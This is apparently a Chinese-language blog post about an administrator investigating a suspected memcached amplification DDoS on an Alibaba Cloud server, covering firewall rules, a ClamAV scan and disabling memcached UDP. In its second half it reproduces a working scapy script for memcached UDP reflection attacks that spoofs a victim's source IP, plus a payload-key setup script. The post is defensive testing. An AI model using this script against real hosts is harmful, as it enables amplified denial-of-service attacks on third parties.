阿里云服务器报警
出网带宽100%
使用
目测是被攻击了
重启了memcached服务。发现不奏效 只能暂时缓解,流量还是会持续上升。
参考了帖子
禁用了这个域名对应的ip
图中的真实ip正好是反过来的。应该禁用104.198.120.50
安全组入和出都禁掉。
防火墙里也禁掉了
暂时没问题了
安装一个杀毒的软件检查一下
yum install clamav -y
杀完毒如果有病毒可以通过搜索FOUND关键字查找。
可以参考
https://www.cnblogs.com/IPYQ/p/6791256.html
我杀毒之后 发现并没有问题,初步怀疑是外部攻击而不是内部攻击,比如说是memcached ddos攻击。这边重新去掉防火墙和安全组测试了一下,发现并没有出现之前的情况。
https://blog.csdn.net/qq_38780085/article/details/79572830
开启防火墙,移除11211 访问的规则,因为memcached这边调用是本机
,所以防火墙里不加 也没关系。
也可以用如下方式 道理差不多。都是只允许访问本机的11211
https://cloud.tencent.com/developer/article/1188910
暂时没有弄清攻击的方式 一开始以为是memcached ddos
在服务器上禁用了Memcached服务的UDP协议,运行了以下“echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -u localhost 11211”命令检测是否关闭memcached 服务UDP协议,查看返回内容,若返回内容为空,则表明您的服务器已经成功修复漏洞,也可以使用“ netstat -an | grep udp”查看UDP 11211端口是否处于监听状态,如果没有监听,则表示已经成功关停memcached UDP协议。
运行出来是空,说明已经关停memcached UDP协议。。
尝试使用scapy 构造ip ,进行ddos 攻击也是失败,发送了包。并没有返回。估计是在服务器到外部防火墙就被掐掉了。用博客里的方式也不能用udp方式创建key成功
先创建memcached key 大小为1m左右
from pymemcache.client.base import Client
import sys
client = Client(('172.16.128.94', 11211))
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
print "[*] payload set done!"
else:
print "[!] payload set error!"
也可以手动set key
但是要注意输入的value达到指定长度回车才显示stored
发动攻击 纯粹抄博客老哥的脚本 改了一下 把key换成t了。
# -*- coding: utf-8 -*-
'''
author: xjiek2010<at>icloud.com
date: 2018-09-27
Memcached UDP 反射 DOS 检测及攻击脚本
'''
import sys, getopt, socket
from scapy.all import *
def main(argv):
m_ip = ""
d_ip = ""
port = ""
status = ""
m_ip, port, status, d_ip = checkParameter(argv)
print('[+] 验证 Memcache_ip :', m_ip, 'Memcache_port :', port)
if status == 'check':
checkAuto(m_ip, port)
if status == 'boom':
udpFlood(m_ip, port, d_ip)
'''
UDP反射攻击
m_ip:memcache的IP
port:memcache端口
d_ip:伪造的反射攻击IP
'''
def udpFlood(m_ip, port, d_ip):
print('')
if d_ip == "":
print("[Error] 失败,目标地址不允许为空,缺失 -d 参数")
exit()
print('[boom!!!] 开始攻击!!!!')
data = "A" * 1099
i = 50 # 设置数和请求数
keys = ""
while i:
keys += "test_udp" + str(i) + " "
setData = ("\x00\x00\x00\x00\x00\x01\x00\x00set test_udp" + str(i) + " 0 3600 %s\r\n%s\r\n" % (len(data), data))
send(IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=setData), count=1)
i = i - 1
getdata = "\x00\x00\x00\x00\x00\x01\x00\x00gets " + "t " + "\r\n"
packet = (IP(src=d_ip, dst=m_ip) / UDP(sport=5840, dport=int(port)) / Raw(load=getdata))
send(packet)
'''
用TCP验证是否存在未授权访问
'''
def checkAuto(m_ip, port):
print('')
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5) # 超时时间
s.connect((m_ip, int(port)))
s.send(b'stats\r\n')
data = s.recv(65565)
# print('Received', str(data)) # 打印收到的数据
if "STAT pid" in str(data):
print('[+] 存在UDP反射DOS攻击!!!')
except Exception:
print('[Error] 失败,未开启memcached或已被修复...')
exit()
'''
校验输入参数
'''
def checkParameter(argv):
print('')
m_ip = port = status = d_ip = ""
try:
opts, args = getopt.getopt(argv, "hi:p:s:d:", ["m_ip=", "port=", "status=", "d_ip="])
except getopt.GetoptError:
print('Error: memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')
print(' or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8 --port=11211 --status check')
print(' or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8 --port=11211 --status poc')
sys.exit(2)
for opt, arg in opts:
if opt == "-h":
print(' memcamche_udp.py -i <Memcache_IP> -d <Flood_IP> -p <Memcache_PORT> -s <STATUS>')
print('or: memcamche_udp.py --m_ip=127.0.0.1 --d_ip=8.8.8.8 --port=11211 --status check')
sys.exit()
elif opt in ("-i", "--m_ip"):
m_ip = arg
elif opt in ("-p", "--port"):
port = arg
elif opt in ("-s", "--status"):
status = arg
elif opt in ("-d", "--d_ip"):
d_ip = arg
return m_ip, port, status, d_ip
if __name__ == "__main__":
main(sys.argv[1:])
Scapy参考
https://blog.csdn.net/think_ycx/article/details/80142657
http://www.voidcn.com/article/p-nktzujgw-brz.html
https://www.jgeek.cn/archive/id/22.html
最后问题处理掉了,没能发现攻击的漏洞在哪里。有点遗憾